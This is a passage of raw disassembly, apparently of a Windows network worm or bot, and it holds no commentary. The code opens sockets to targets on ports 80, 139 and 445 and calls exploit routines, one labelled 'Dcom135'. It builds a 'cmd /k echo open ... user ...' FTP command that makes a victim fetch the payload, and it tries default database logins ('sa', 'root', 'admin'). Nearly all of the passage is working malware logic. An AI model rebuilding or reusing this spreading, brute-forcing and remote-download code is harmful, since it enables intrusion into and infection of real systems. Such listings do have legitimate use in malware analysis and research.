		pop	ecx
		mov	al, bl


loc_4045D9:				; CODE XREF: sub_4044FF+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4044FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045DE	proc near		; CODE XREF: seg001:00404A33p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_4261B8
		push	[ebp+arg_0]
		call	dword_4211F0	; send
		cmp	eax, 48h
		jnz	short loc_404619
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40443B
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404619
		cmp	[ebp+var_20], 82h
		jz	short loc_40461D


loc_404619:				; CODE XREF: sub_4045DE+1Bj
					; sub_4045DE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40461D:				; CODE XREF: sub_4045DE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4044FF
		add	esp, 0Ch
		leave
		retn
sub_4045DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404630	proc near		; CODE XREF: sub_40467C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_421248
		call	sub_415E24
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_421240
		fstp	[esp+10h+var_10]
		call	sub_415D04
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_415E24
		inc	eax
		leave
		retn
sub_404630	endp


; =============== S U B	R O U T	I N E =======================================



sub_40467C	proc near		; CODE XREF: sub_40481B+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_420B63
		call	sub_4162F0
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp-20h], edi
		mov	al, [ebp+13h]
		push	edi
		lea	ecx, [ebp-38h]
		mov	[ebp-38h], al
		call	sub_404CE4
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-4], ebx
		call	sub_404630
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_4046BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_404C5E


loc_4046BE:				; CODE XREF: sub_40467C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_4047DC
		mov	ebx, [ebp+10h]


loc_4046CD:				; CODE XREF: sub_40467C+157j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_4046D8
		push	3


loc_4046D5:				; CODE XREF: sub_40467C+64j
		pop	ebx
		jmp	short loc_4046EB
; ---------------------------------------------------------------------------


loc_4046D8:				; CODE XREF: sub_40467C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_4046E2
		push	2
		jmp	short loc_4046D5
; ---------------------------------------------------------------------------


loc_4046E2:				; CODE XREF: sub_40467C+60j
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4046EB
		xor	ebx, ebx
		inc	ebx


loc_4046EB:				; CODE XREF: sub_40467C+5Aj
					; sub_40467C+6Aj
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_421250
		fstp	[esp+40h+var_40]
		call	sub_415E4B
		pop	ecx
		pop	ecx
		call	sub_415E24
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40472A
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40472A:				; CODE XREF: sub_40467C+94j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_404798
		add	[ebp-18h], eax


loc_40477C:				; CODE XREF: sub_40467C+11Aj
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_426208[eax]
		push	eax
		push	1
		call	sub_404ADF
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40477C


loc_404798:				; CODE XREF: sub_40467C+FBj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_4047B6
		push	dword ptr [ebp+14h]
		call	sub_415B10
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_404B39
		mov	[ebp-18h], edi


loc_4047B6:				; CODE XREF: sub_40467C+120j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4047D0
		sub	esi, [ebp-1Ch]


loc_4047C1:				; CODE XREF: sub_40467C+152j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404ADF
		dec	esi
		jnz	short loc_4047C1


loc_4047D0:				; CODE XREF: sub_40467C+140j
		cmp	[ebp+10h], edi
		ja	loc_4046CD
		xor	ebx, ebx
		inc	ebx


loc_4047DC:				; CODE XREF: sub_40467C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404CE4
		push	0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_404B91
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404CE4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40467C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40481B	proc near		; CODE XREF: seg001:00404A16p
		mov	eax, offset loc_420B80
		call	sub_4162F0
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43B188
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40467C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_415BE9
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_404865
		xor	bl, bl
		jmp	short loc_4048A9
; ---------------------------------------------------------------------------


loc_404865:				; CODE XREF: sub_40481B+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_421258
		cmp	ecx, ebx
		jnz	short loc_404873
		mov	ecx, eax


loc_404873:				; CODE XREF: sub_40481B+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40487B
		mov	eax, [ebp+18h]


loc_40487B:				; CODE XREF: sub_40481B+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41588A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43C5A4
		cmp	eax, esi
		jz	short loc_4048A0
		xor	bl, bl
		jmp	short loc_4048A2
; ---------------------------------------------------------------------------


loc_4048A0:				; CODE XREF: sub_40481B+7Fj
		mov	bl, 1


loc_4048A2:				; CODE XREF: sub_40481B+83j
		push	edi
		call	sub_415C9B
		pop	ecx


loc_4048A9:				; CODE XREF: sub_40481B+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404CE4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404CE4
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40481B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 620h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_4263B8
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		mov	eax, offset byte_42C2BC
		push	eax
		push	eax
		push	dword_43B1A0
		push	dword ptr [ebp+8]
		call	sub_40A08A
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41588A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_426250
		push	eax
		call	sub_4040E5
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_404972
		xor	eax, eax
		jmp	loc_404AD2
; ---------------------------------------------------------------------------


loc_404972:				; CODE XREF: seg001:00404969j
		mov	[ebp-0Ch], esi


loc_404975:				; CODE XREF: seg001:00404A75j
		test	esi, esi
		jnz	loc_404A7B
		push	6
		push	1
		push	2
		call	dword_4211E4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_404A63
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43C554
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43C594
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43C4FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_404A58
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_404A20
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404CE4
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_404D1C
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40481B
		add	esp, 1Ch
		jmp	short loc_404A55
; ---------------------------------------------------------------------------


loc_404A20:				; CODE XREF: seg001:004049DEj
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_404A3A
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4045DE
		jmp	short loc_404A52
; ---------------------------------------------------------------------------


loc_404A3A:				; CODE XREF: seg001:00404A2Aj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404A58
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4044FF


loc_404A52:				; CODE XREF: seg001:00404A38j
		add	esp, 0Ch


loc_404A55:				; CODE XREF: seg001:00404A1Ej
		movzx	esi, al


loc_404A58:				; CODE XREF: seg001:004049D1j
					; seg001:00404A44j
		push	ebx
		call	dword_43C5EC
		test	esi, esi
		jnz	short loc_404A6E


loc_404A63:				; CODE XREF: seg001:0040498Ej
		push	3E8h
		call	dword_421060	; Sleep


loc_404A6E:				; CODE XREF: seg001:00404A61j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_404975


loc_404A7B:				; CODE XREF: seg001:00404977j
		lea	ecx, [ebp-8]
		call	sub_403F12
		test	esi, esi
		jz	short loc_404AD0
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset dword_42647C
		lea	eax, [ebp-620h]
		push	200h
		push	eax
		call	sub_41588A
		lea	eax, [ebp-620h]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+0B0h]
		add	esp, 18h
		imul	eax, 3Ch
		lea	eax, dword_427390[eax]
		inc	dword ptr [eax]


loc_404AD0:				; CODE XREF: seg001:00404A85j
		mov	eax, esi


loc_404AD2:				; CODE XREF: seg001:0040496Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420B44


loc_404AD7:				; CODE XREF: sub_420B44+3j
					; seg001:00420B5Dj ...
		push	1
		call	sub_404CE4
		retn
; END OF FUNCTION CHUNK	FOR sub_420B44

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404ADF	proc near		; CODE XREF: sub_40467C+111p
					; sub_40467C+14Cp

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_0]
		ja	short loc_404AF6
		call	sub_4206B0


loc_404AF6:				; CODE XREF: sub_404ADF+10j
		cmp	[ebp+arg_0], 0
		jbe	short loc_404B31
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_0]
		mov	ecx, esi
		push	edi
		call	sub_404C5E
		test	al, al
		jz	short loc_404B31
		movsx	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_415390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_404B31:				; CODE XREF: sub_404ADF+1Bj
					; sub_404ADF+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_404ADF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B39	proc near		; CODE XREF: sub_40467C+132p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_4]
		ja	short loc_404B50
		call	sub_4206B0


loc_404B50:				; CODE XREF: sub_404B39+10j
		cmp	[ebp+arg_4], 0
		jbe	short loc_404B89
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_404C5E
		test	al, al
		jz	short loc_404B89
		push	[ebp+arg_4]
		mov	eax, [esi+8]
		add	eax, [esi+4]
		push	[ebp+arg_0]
		push	eax
		call	sub_4153F0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_404B89:				; CODE XREF: sub_404B39+1Bj
					; sub_404B39+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_404B39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B91	proc near		; CODE XREF: sub_40467C+179p
					; sub_42070A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_404BA9
		call	sub_4208DC


loc_404BA9:				; CODE XREF: sub_404B91+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_404BBB
		mov	esi, [ebp+arg_8]


loc_404BBB:				; CODE XREF: sub_404B91+25j
		cmp	edi, ebx
		jnz	short loc_404BD9
		add	esi, ecx
		push	0FFFFFFFFh
		push	esi
		mov	ecx, edi
		call	sub_404D51
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_404D51
		jmp	short loc_404C55
; ---------------------------------------------------------------------------


loc_404BD9:				; CODE XREF: sub_404B91+2Cj
		test	esi, esi
		jbe	short loc_404C1C
		cmp	esi, eax
		jnz	short loc_404C1C
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404BED
		mov	eax, offset dword_421258


loc_404BED:				; CODE XREF: sub_404B91+55j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_404C1C
		push	1
		mov	ecx, edi
		call	sub_404CE4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C08
		mov	eax, offset dword_421258


loc_404C08:				; CODE XREF: sub_404B91+70j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_404C55
; ---------------------------------------------------------------------------


loc_404C1C:				; CODE XREF: sub_404B91+4Aj
					; sub_404B91+4Ej ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_404C5E
		test	al, al
		jz	short loc_404C55
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_404C39
		mov	eax, offset dword_421258


loc_404C39:				; CODE XREF: sub_404B91+A1j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_4153F0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404C55:				; CODE XREF: sub_404B91+46j
					; sub_404B91+89j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404B91	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C5E	proc near		; CODE XREF: sub_40467C+3Dp
					; sub_404ADF+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_404C70
		call	sub_4206B0


loc_404C70:				; CODE XREF: sub_404C5E+Bj
		mov	eax, [esi+4]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_404C98
		mov	cl, [eax-1]
		cmp	cl, dl
		jz	short loc_404C98
		cmp	cl, 0FFh
		jz	short loc_404C98
		cmp	edi, edx
		mov	ecx, esi
		jnz	short loc_404CD7
		dec	byte ptr [eax-1]
		push	edx


loc_404C8F:				; CODE XREF: sub_404C5E+48j
		call	sub_404CE4


loc_404C94:				; CODE XREF: sub_404C5E+4Cj
					; sub_404C5E+53j
		xor	al, al
		jmp	short loc_404CDF
; ---------------------------------------------------------------------------


loc_404C98:				; CODE XREF: sub_404C5E+19j
					; sub_404C5E+20j ...
		cmp	edi, edx
		jnz	short loc_404CB3
		cmp	[esp+8+arg_4], dl
		jz	short loc_404CA8
		push	1
		mov	ecx, esi
		jmp	short loc_404C8F
; ---------------------------------------------------------------------------


loc_404CA8:				; CODE XREF: sub_404C5E+42j
		cmp	eax, edx
		jz	short loc_404C94
		mov	[esi+8], edx
		mov	[eax], dl
		jmp	short loc_404C94
; ---------------------------------------------------------------------------


loc_404CB3:				; CODE XREF: sub_404C5E+3Cj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404CD0
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404CC5
		cmp	eax, edi
		jnb	short loc_404CDD


loc_404CC5:				; CODE XREF: sub_404C5E+61j
		push	1
		mov	ecx, esi
		call	sub_404CE4
		jmp	short loc_404CD5
; ---------------------------------------------------------------------------


loc_404CD0:				; CODE XREF: sub_404C5E+59j
		cmp	[esi+0Ch], edi
		jnb	short loc_404CDD


loc_404CD5:				; CODE XREF: sub_404C5E+70j
		mov	ecx, esi


loc_404CD7:				; CODE XREF: sub_404C5E+2Bj
		push	edi
		call	sub_404DB8


loc_404CDD:				; CODE XREF: sub_404C5E+65j
					; sub_404C5E+75j
		mov	al, 1


loc_404CDF:				; CODE XREF: sub_404C5E+38j
		pop	edi
		pop	esi
		retn	8
sub_404C5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404CE4	proc near		; CODE XREF: sub_40467C+1Fp
					; sub_40467C+16Bp ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404D0C
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404D0C
		dec	eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_404D05
		cmp	cl, 0FFh
		jz	short loc_404D05
		dec	byte ptr [eax]
		jmp	short loc_404D0C
; ---------------------------------------------------------------------------


loc_404D05:				; CODE XREF: sub_404CE4+16j
					; sub_404CE4+1Bj
		push	eax
		call	sub_41630F
		pop	ecx


loc_404D0C:				; CODE XREF: sub_404CE4+8j
					; sub_404CE4+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404CE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D1C	proc near		; CODE XREF: seg001:00404A0Ap
					; sub_404E75+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		push	edi
		mov	esi, ecx
		call	sub_404C5E
		test	al, al
		jz	short loc_404D4A
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4153F0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_404D4A:				; CODE XREF: sub_404D1C+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_404D1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D51	proc near		; CODE XREF: sub_404B91+35p
					; sub_404B91+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_404D64
		call	sub_4208DC


loc_404D64:				; CODE XREF: sub_404D51+Cj
		mov	ecx, edi
		call	sub_404E75
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404D7A
		mov	ebx, eax


loc_404D7A:				; CODE XREF: sub_404D51+25j
		test	ebx, ebx
		jbe	short loc_404DB0
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_416320
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_404C5E
		test	al, al
		jz	short loc_404DB0
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404DB0:				; CODE XREF: sub_404D51+2Bj
					; sub_404D51+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404D51	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DB8	proc near		; CODE XREF: sub_404C5E+7Ap
		mov	eax, offset loc_420B8C
		call	sub_4162F0
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404DDE
		mov	edi, [ebp+8]


loc_404DDE:				; CODE XREF: sub_404DB8+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404DEB
		xor	eax, eax


loc_404DEB:				; CODE XREF: sub_404DB8+2Fj
		push	eax
		call	sub_416655
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_404E1C
; ---------------------------------------------------------------------------


loc_404DF7:				; DATA XREF: seg001:00421F04o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_404E06
		xor	eax, eax


loc_404E06:				; CODE XREF: sub_404DB8+4Aj
		push	eax
		call	sub_416655
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_404E16
		retn
; ---------------------------------------------------------------------------


loc_404E16:				; DATA XREF: sub_404DB8+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_404E1C:				; CODE XREF: sub_404DB8+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_404E3A
		cmp	eax, edi
		jbe	short loc_404E29
		mov	eax, edi


loc_404E29:				; CODE XREF: sub_404DB8+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_4153F0
		add	esp, 0Ch


loc_404E3A:				; CODE XREF: sub_404DB8+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404CE4
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_404E5A
		mov	edi, ebx


loc_404E5A:				; CODE XREF: sub_404DB8+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_404DB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_404E75	proc near		; CODE XREF: sub_404D51+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404EA2
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404EA2
		cmp	al, 0FFh
		jz	short loc_404EA2
		push	1
		call	sub_404CE4
		push	esi
		call	sub_415B10
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_404D1C


loc_404EA2:				; CODE XREF: sub_404E75+9j
					; sub_404E75+10j ...
		pop	edi
		pop	esi
		retn
sub_404E75	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EA5	proc near		; DATA XREF: seg001:00423008o
		test	byte_46B924, 1
		jnz	short loc_404EB5
		or	byte_46B924, 1


loc_404EB5:				; CODE XREF: sub_404EA5+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_4166D0
		pop	ecx
		retn
sub_404EA5	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EC7	proc near		; CODE XREF: seg001:00405120p

var_E2C		= byte ptr -0E2Ch
var_A2C		= byte ptr -0A2Ch
var_62C		= byte ptr -62Ch
var_22C		= byte ptr -22Ch
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		sub	esp, 0E2Ch
		mov	al, byte_43B188
		push	esi
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_14]
		xor	esi, esi
		push	eax
		push	esi
		push	1
		mov	[ebp+var_2C], offset aSa ; "sa"
		mov	[ebp+var_28], offset aRoot ; "root"
		mov	[ebp+var_24], offset aAdmin ; "admin"
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		mov	[ebp+var_8], esi
		call	dword_43C4D8
		test	ax, ax
		jnz	short loc_404F25
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	[ebp+var_14]
		call	dword_43C5DC
		test	ax, ax
		jz	short loc_404F2C


loc_404F25:				; CODE XREF: sub_404EC7+45j
		xor	eax, eax
		jmp	loc_4050FC
; ---------------------------------------------------------------------------


loc_404F2C:				; CODE XREF: sub_404EC7+5Cj
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		push	2
		call	dword_43C4D8
		test	ax, ax
		jnz	loc_4050EF
		push	ebx
		lea	eax, [ebp+var_2C]
		push	edi
		mov	edi, dword_421060
		mov	[ebp+var_C], eax
		mov	ebx, offset byte_42C2BC


loc_404F57:				; CODE XREF: sub_404EC7+1C4j
		cmp	off_42C438, esi
		jz	loc_405082
